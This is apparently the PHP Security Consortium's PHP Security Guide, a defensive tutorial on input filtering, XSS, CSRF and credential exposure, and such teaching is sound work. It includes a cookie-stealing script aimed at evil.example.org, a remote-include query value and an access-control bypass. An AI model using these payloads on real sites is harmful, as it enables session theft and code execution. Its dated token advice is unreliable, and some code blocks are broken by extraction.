

# PHP Security Guide 1.0

The PHP Security Guide is the flagship project of the PHP Security Consortium. This guide offers detailed information pertaining to a number of common security concerns for all PHP developers.

# PHP Security Guide

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# PHP Security Guide: Overview

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## What Is Security?

- Security is a measurement, not a characteristic.

It is unfortunate that many software projects list security as a simple requirement to be met. Is it secure? This question is as subjective as asking if something is hot.

- Security must be balanced with expense.

It is easy and relatively inexpensive to provide a sufficient level of security for most applications. However, if your security needs are very demanding, because you're protecting information that is very valuable, then you must achieve a higher level of security at an increased cost. This expense must be included in the budget of the project.

- Security must be balanced with usability.

It is not uncommon that steps taken to increase the security of a web application also decrease the usability. Passwords, session timeouts, and access control all create obstacles for a legitimate user. Sometimes these are necessary to provide adequate security, but there isn't one solution that is appropriate for every application. It is wise to be mindful of your legitimate users as you implement security measures.

- Security must be part of the design.

If you do not design your application with security in mind, you are doomed to be constantly addressing new security vulnerabilities. Careful programming cannot make up for a poor design.

## Basic Steps

- Consider illegitimate uses of your application.

A secure design is only part of the solution. During development, when the code is being written, it is important to consider illegitimate uses of your application. Often, the focus is on making the application work as intended, and while this is necessary to deliver a properly functioning application, it does nothing to help make the application secure.

- Educate yourself.

The fact that you are here is evidence that you care about security, and as trite as it may sound, this is the most important step. There are numerous resources available on the web and in print, and several resources are listed in the PHP Security Consortium's Library at <http://phpsec.org/library/>.

- If nothing else, FILTER ALL EXTERNAL DATA.

Data filtering is the cornerstone of web application security in any language and on any platform. By initializing your variables and filtering all data that comes from an external source, you will address a majority of security vulnerabilities with very little effort. A whitelist approach is better than a blacklist approach. This means that you should consider all data invalid unless it can be proven valid (rather than considering all data valid unless it can be proven invalid).

## Register Globals

The `register_globals` directive is disabled by default in PHP versions 4.2.0 and greater. While it does not represent a security vulnerability, it is a security risk. Therefore, you should always develop and deploy applications with `register_globals` disabled.

Why is it a security risk? Good examples are difficult to produce for everyone, because it often requires a unique situation to make the risk clear. However, the most common example is that found in the PHP manual:

```
<?php

if (authenticated_user())
{
    $authorized = true;
}

if ($authorized)
{
    include '/highly/sensitive/data.php';
}

?>
```

With `register_globals` enabled, this page can be requested with `?authorized=1` in the query string to bypass the intended access control. Of course, this particular vulnerability is the fault of the developer, not `register_globals`, but this indicates the increased risk posed by the directive. Without it, ordinary global variables (such as `$authorized` in the example) are not affected by data submitted by the client. A best practice is to initialize all variables and to develop with `error_reporting` set to `E_ALL`, so that the use of an uninitialized variable won't be overlooked during development.

Another example that illustrates how `register_globals` can be problematic is the following use of `include` with a dynamic path:

```
<?php

include "$path/script.php";

?>
```

With `register_globals` enabled, this page can be requested with `?path=http%3A%2F%2Fevil.example.org%2F%3F` in the query string in order to equate this example to the following:

```
<?php

include 'http://evil.example.org/?/script.php';

?>
```

If `allow_url_fopen` is enabled (which it is by default, even in `php.ini-recommended`), this will include the output of `http://evil.example.org/` just as if it were a local file. This is a major security vulnerability, and it is one that has been discovered in some popular open source applications.

Initializing `$path` can mitigate this particular risk, but so does disabling `register_globals`. Whereas a developer's mistake can lead to an uninitialized variable, disabling `register_globals` is a global configuration change that is far less likely to be overlooked.

The convenience is wonderful, and those of us who have had to manually handle form data in the past appreciate this. However, using the `$_POST` and `$_GET` superglobal arrays is still very convenient, and it's not worth the added risk to enable `register_globals`. While I completely disagree with arguments that equate `register_globals` to poor security, I do recommend that it be disabled.

In addition to all of this, disabling `register_globals` encourages developers to be mindful of the origin of data, and this is an important characteristic of any security-conscious developer.

## Data Filtering

As stated previously, data filtering is the cornerstone of web application security, and this is independent of programming language or platform. It involves the mechanism by which you determine the validity of data that is entering and exiting the application, and a good software design can help developers to:

- Ensure that data filtering cannot be bypassed,
- Ensure that invalid data cannot be mistaken for valid data, and
- Identify the origin of data.

Opinions about how to ensure that data filtering cannot be bypassed vary, but there are two general approaches that seem to

be the most common, and both of these provide a sufficient level of assurance.

## The Dispatch Method

One method is to have a single PHP script available directly from the web (via URL). Everything else is a module included with `include` or `require` as needed. This method usually requires that a `GET` variable be passed along with every URL, identifying the task. This `GET` variable can be considered the replacement for the script name that would be used in a more simplistic design. For example:

```
http://example.org/dispatch.php?task=print_form
```

The file `dispatch.php` is the only file within document root. This allows a developer to do two important things:

- Implement some global security measures at the top of `dispatch.php` and be assured that these measures cannot be bypassed.
- Easily see that data filtering takes place when necessary, by focusing on the control flow of a specific task.

To further explain this, consider the following example `dispatch.php` script:

```
<?php

/* Global security measures */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;

    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
        break;

    default:
        include '/inc/presentation/index.inc';
}
```

```

        break;
    }

?>

```

If this is the only public PHP script, then it should be clear that the design of this application ensures that any global security measures taken at the top cannot be bypassed. It also lets a developer easily see the control flow for a specific task. For example, instead of glancing through a lot of code, it is easy to see that `end.inc` is only displayed to a user when `$form_valid` is `true`, and because it is initialized as `false` just before `process.inc` is included, it is clear that the logic within `process.inc` must set it to `true`, otherwise the form is displayed again (presumably with appropriate error messages).

### Note

If you use a directory index file such as `index.php` (instead of `dispatch.php`), you can use URLs such as `http://example.org/?task=print_form`.

You can also use the Apache `ForceType` directive or `mod_rewrite` to accommodate URLs such as `http://example.org/app/print-form`.

## The Include Method

Another approach is to have a single module that is responsible for all security measures. This module is included at the top (or very near the top) of all PHP scripts that are public (available via URL). Consider the following `security.inc` script:

```

<?php
switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}

?>

```

In this example, each form that is submitted is expected to have a form variable named `form` that uniquely identifies it, and `security.inc` has a separate case to handle the data filtering for that particular form. An example of an HTML form that fulfills this requirement is as follows:

```
<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>
<input type="submit" />
</form>
```

An array named `$allowed` is used to identify exactly which form variables are allowed, and this list must be identical in order for the form to be processed. Control flow is determined elsewhere, and `process.inc` is where the actual data filtering takes place.

#### Note

A good way to ensure that `security.inc` is always included at the top of every PHP script is to use the `auto_prepend_file` directive.

## Filtering Examples

It is important to take a whitelist approach to your data filtering, and while it is impossible to give examples for every type of form data you may encounter, a few examples can help to illustrate a sound approach.

The following validates an email address:

```
<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))
{
    $clean['email'] = $_POST['email'];
}

?>
```



The following ensures that `$_POST['color']` is red, green, or blue:

```
<?php

$clean = array();

switch ($_POST['color'])
{
    case 'red':
    case 'green':
    case 'blue':
        $clean['color'] = $_POST['color'];
        break;
}

?>
```

The following example ensures that `$_POST['num']` is an integer:

```
<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>
```

The following example ensures that `$_POST['num']` is a float:

```
<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>
```

## Naming Conventions

Each of the previous examples make use of an array named `$clean`. This illustrates a good practice that can help developers identify whether data is potentially tainted. You should never make a practice of validating data and leaving it in `$_POST` or `$_GET`, because it is important for developers to always be suspicious of data within these superglobal arrays.

In addition, a more liberal use of `$clean` can allow you to consider everything else to be tainted, and this more closely resembles a whitelist approach and therefore offers an increased level of security.

If you only store data in `$clean` after it has been validated, the only risk in a failure to validate something is that you might reference an array element that doesn't exist rather than potentially tainted data.

## Timing

Once a PHP script begins processing, the entire HTTP request has been received. This means that the user does not have another opportunity to send data, and therefore no data can be injected into your script (even if `register_globals` is enabled). This is why initializing your variables is such a good practice.

## Error Reporting

In versions of PHP prior to PHP 5, released 13 Jul 2004, error reporting is pretty simplistic. Aside from careful programming, it relies mostly upon a few specific PHP configuration directives:

- `error_reporting`

This directive sets the level of error reporting desired. It is strongly suggested that you set this to `E_ALL` for both development and production.

- `display_errors`

This directive determines whether errors should be displayed on the screen (included in the output). You should develop with this set to `On`, so that you can be alerted to errors during development, and you should set this to `Off` for production, so that errors are hidden from the users (and potential attackers).

- `log_errors`

This directive determines whether errors should be written to a log. While this may raise performance concerns, it is desirable that errors are rare. If logging errors presents a strain on the disk due to the heavy I/O, you probably have larger concerns than the performance of your application. You should set this directive to `On` in production.

- `error_log`

This directive indicates the location of the log file to which errors are written. Make sure that the web server has write privileges for the specified file.

Having `error_reporting` set to `E_ALL` will help to enforce the initialization of variables, because a reference to an undefined variable generates a notice.

#### **Note**

Each of these directives can be set with `ini_set()`, in case you do not have access to `php.ini` or another method of setting these directives.

A good reference on all error handling and reporting functions is in the PHP manual:

<http://www.php.net/manual/en/ref.errorfunc.php>

PHP 5 includes exception handling. For more information, see:

<http://www.php.net/manual/language.exceptions.php>

# PHP Security Guide: Form Processing

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## Spoofer Form Submissions

In order to appreciate the necessity of data filtering, consider the following form located (hypothetically speaking) at `http://example.org/form.html`:

```
<form action="/process.php" method="POST">
<select name="color">
  <option value="red">red</option>
  <option value="green">green</option>
  <option value="blue">blue</option>
</select>
<input type="submit" />
</form>
```

Imagine a potential attacker who saves this HTML and modifies it as follows:

```
<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>
```

This new form can now be located anywhere (a web server is not even necessary, since it only needs to be readable by a web browser), and the form can be manipulated as desired. The absolute URL used in the action attribute causes the `POST` request to be sent to the same place.

This makes it very easy to eliminate any client-side restrictions, whether HTML form restrictions or client-side scripts intended to perform some rudimentary data filtering. In this particular example, `$_POST['color']` is not necessarily `red`, `green`, or `blue`. With a very simple procedure, any user can create a convenient form that can be used to submit any data to the URL that processes the form.

## Spoofer HTTP Requests

A more powerful, although less convenient approach is to spoof an HTTP request. In the example form just discussed, where the user chooses a color, the resulting HTTP request looks like the following (assuming a choice of `red`):

```
POST /process.php HTTP/1.1
Host: example.org
```

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red
```

The `telnet` utility can be used to perform some ad hoc testing. The following example makes a simple `GET` request for `http://www.php.net/`:

```
$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...
```

Of course, you can write your own client instead of manually entering requests with `telnet`. The following example shows how to perform the same request using PHP:

```
<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}
```

```
}  
  
fclose($fp);  
  
echo nl2br(htmlentities($http_response));  
  
?>
```

Sending your own HTTP requests gives you complete flexibility, and this demonstrates why server-side data filtering is so essential. Without it, you have no assurances about any data that originates from any external source.

## Cross-Site Scripting

The media has helped make cross-site scripting (XSS) a familiar term, and the attention is deserved. It is one of the most common security vulnerabilities in web applications, and many popular open source PHP applications suffer from constant XSS vulnerabilities.

XSS attacks have the following characteristics:

- Exploit the trust a user has for a particular site.

Users don't necessarily have a high level of trust for any web site, but the browser does. For example, when the browser sends cookies in a request, it is trusting the web site. Users may also have different browsing habits or even different levels of security defined in their browser depending on which site they are visiting.

- Generally involve web sites that display external data.

Applications at a heightened risk include forums, web mail clients, and anything that displays syndicated content (such as RSS feeds).

- Inject content of the attacker's choosing.

When external data is not properly filtered, you might display content of the attacker's choosing. This is just as dangerous as letting the attacker edit your source on the server.

How can this happen? If you display content that comes from any external source without properly filtering it, you are vulnerable to XSS. Foreign data isn't limited to data that comes from the client. It also means email displayed in a web mail client, a banner advertisement, a syndicated blog, and the like. Any information that is not already in the code comes from an external source, and this generally means that most data is external data.

Consider the following example of a simplistic message board:

```

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>

```

This message board appends `<br />` to whatever the user enters, appends this to a file, then displays the current contents of the file.

Imagine if a user enters the following message:

```

<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>

```

The next user who visits this message board with JavaScript enabled is redirected to `evil.example.org`, and any cookies associated with the current site are included in the query string of the URL.

Of course, a real attacker wouldn't be limited by my lack of creativity or JavaScript expertise. Feel free to suggest better (more malicious?) examples.

What can you do? XSS is actually very easy to defend against. Where things get difficult is when you want to allow some HTML or client-side scripts to be provided by external sources (such as other users) and ultimately displayed, but even these situations aren't terribly difficult to handle. The following best practices can mitigate the risk of XSS:

- Filter all external data.

As mentioned earlier, data filtering is the most important practice you can adopt. By validating all external data as it enters and exits your application, you will mitigate a majority of XSS concerns.

- Use existing functions.

Let PHP help with your filtering logic. Functions like `htmlspecialchars()`, `strip_tags()`, and `utf8_decode()` can be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much faster, but it is also more tested and less likely to contain errors that yield vulnerabilities.

- Use a whitelist approach.

Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic characters and spaces. Err on the side of caution. While the names `O'Reilly` and `Berners-Lee` will be considered invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept malicious data.

- Use a strict naming convention.

As mentioned earlier, a naming convention can help developers easily distinguish between filtered and unfiltered data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion, and this breeds vulnerabilities.

A much safer version of the simple message board mentioned earlier is as follows:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $message = htmlspecialchars($_GET['message']);

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>
```

With the simple addition of `htmlspecialchars()`, the message board is now much safer. It should not be considered



completely secure, but this is probably the easiest step you can take to provide an adequate level of protection. Of course, it is highly recommended that you follow all of the best practices that have been discussed.

## Cross-Site Request Forgeries

Despite the similarities in name, cross-site request forgeries (CSRF) are an almost opposite style of attack. Whereas XSS attacks exploit the trust a user has in a web site, CSRF attacks exploit the trust a web site has in a user. CSRF attacks are more dangerous, less popular (which means fewer resources for developers), and more difficult to defend against than XSS attacks.

CSRF attacks have the following characteristics:

- Exploit the trust that a site has for a particular user.

Many users may not be trusted, but it is common for web applications to offer users certain privileges upon logging in to the application. Users with these heightened privileges are potential victims (unknowing accomplices, in fact).

- Generally involve web sites that rely on the identity of the users. It is typical for the identity of a user to carry a lot of weight. With a secure session management mechanism, which is a challenge in itself, CSRF attacks can still be successful. In fact, it is in these types of environments where CSRF attacks are most potent.
- Perform HTTP requests of the attacker's choosing.

CSRF attacks include all attacks that involve the attacker forging an HTTP request from another user (in essence, tricking a user into sending an HTTP request on the attacker's behalf). There are a few different techniques that can be used to accomplish this, and I will show some examples of one specific technique.

Because CSRF attacks involve the forging of HTTP requests, it is important to first gain a basic level of familiarity with HTTP.

A web browser is an HTTP client, and a web server is an HTTP server. Clients initiate a transaction by sending a request, and the server completes the transaction by sending a response. A typical HTTP request is as follows:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

The first line is called the request line, and it contains the request method, request URL (a relative URL is used), and HTTP version. The other lines are HTTP headers, and each header name is followed by a colon, a space, and the value.

You might be familiar with accessing this information in PHP. For example, the following code can be used to rebuild this particular HTTP request in a string:

```
<?php

$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

?>
```

An example response to the previous request is as follows:

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57
<html>

</html>
```

The content of a response is what you see when you view source in a browser. The `img` tag in this particular response alerts the browser to the fact that another resource (an image) is necessary to properly render the page. The browser requests this resource as it would any other, and the following is an example of such a request:

```
GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

This is worthy of attention. The browser requests the URL specified in the `src` attribute of the `img` tag just as if the user had manually navigated there. The browser has no way to specifically indicate that it expects an image.

Combine this with what you've learned about forms, and then consider a URL similar to the following:

```
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
```

A form submission that uses the `GET` method can potentially be indistinguishable from an image request - both could be requests for the same URL. If `register_globals` is enabled, the method of the form isn't even important (unless the developer still uses `$_POST` and the like). Hopefully the dangers are already becoming clear.

Another characteristic that makes CSRF so powerful is that any cookies pertaining to a URL are included in the request for that URL. A user who has an established relationship with `stocks.example.org` (such as being logged in) can potentially buy 1000 shares of `SCOX` by visiting a page with an `img` tag that specifies the URL in the previous example.

Consider the following form located (hypothetically) at `http://stocks.example.org/form.html`:

```
<p>Buy Stocks Instantly!</p>
<form action="/buy.php">
<p>Symbol: <input type="text" name="symbol" /></p>
<p>Quantity:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>
```

If the user enters `SCOX` for the symbol, `1000` as the quantity, and submits the form, the request that is sent by the browser is similar to the following:

```
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

I include a `Cookie` header in this example to illustrate the application using a cookie for the session identifier. If an `img` tag references the same URL, the same cookie will be sent in the request for that URL, and the server processing the request will be unable to distinguish this from an actual order.

There are a few things you can do to protect your applications against CSRF:

- Use `POST` rather than `GET` in forms. Specify `POST` in the method attribute of your forms. Of course, this isn't appropriate for all of your forms, but it is appropriate when a form is performing an action, such as buying stocks. In fact, the HTTP specification requires that `GET` be considered safe.
- Use `$_POST` rather than rely on `register_globals`. Using the `POST` method for form submissions is useless if you rely on `register_globals` and reference form variables like `$symbol` and `$quantity`. It is also useless if you use `$_REQUEST`.
- Do not focus on convenience.

While it seems desirable to make a user's experience as convenient as possible, too much convenience can have serious consequences. While "one-click" approaches can be made very secure, a simple implementation is likely to be vulnerable to CSRF.

- Force the use of your own forms.

The biggest problem with CSRF is having requests that look like form submissions but aren't. If a user has not requested the page with the form, should you assume a request that looks like a submission of that form to be legitimate and intended?

Now we can write an even more secure message board:

```
<?php

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

$tokens = file('./tokens.txt');

if (in_array($_POST['token'], $tokens))
{
    if (isset($_POST['message']))
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

readfile('./messages.txt');

?>
```

This message board still has a few security vulnerabilities. Can you spot them?

Time is extremely predictable. Using the MD5 digest of a timestamp is a poor excuse for a random number. Better functions include `uniqid()` and `rand()`.

More importantly, it is trivial for an attacker to obtain a valid token. By simply visiting this page, a valid token is generated and included in the source. With a valid token, the attack is as simple as before the token requirement was added.

Here is an improved message board:

```
<?php

session_start();

if (isset($_POST['message']))
{
    if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

readfile('./messages.txt');

?>
```

# PHP Security Guide: Databases and SQL

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## Exposed Access Credentials

Most PHP applications interact with a database. This usually involves connecting to a database server and using access credentials to authenticate:

```
<?php

$host = 'example.org';
$username = 'myuser';
$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>
```

This could be an example of a file called `db.inc` that is included whenever a connection to the database is needed. This approach is convenient, and it keeps the access credentials in a single file.

Potential problems arise when this file is somewhere within document root. This is a common approach, because it makes `include` and `require` statements much simpler, but it can lead to situations that expose your access credentials.

Remember that everything within document root has a URL associated with it. For example, if document root is `/usr/local/apache/htdocs`, then a file located at `/usr/local/apache/htdocs/inc/db.inc` has a URL such as `http://example.org/inc/db.inc`.

Combine this with the fact that most web servers will serve `.inc` files as plaintext, and the risk of exposing your access credentials should be clear. A bigger problem is that any source code in these modules can be exposed, but access credentials are particularly sensitive.

Of course, one simple solution is to place all modules outside of document root, and this is a good practice. Both `include` and `require` can accept a filesystem path, so there's no need to make modules accessible via URL. It is an unnecessary risk.

If you have no choice in the placement of your modules, and they must be within document root, you can put something like the following in your `httpd.conf` file (assuming Apache):

































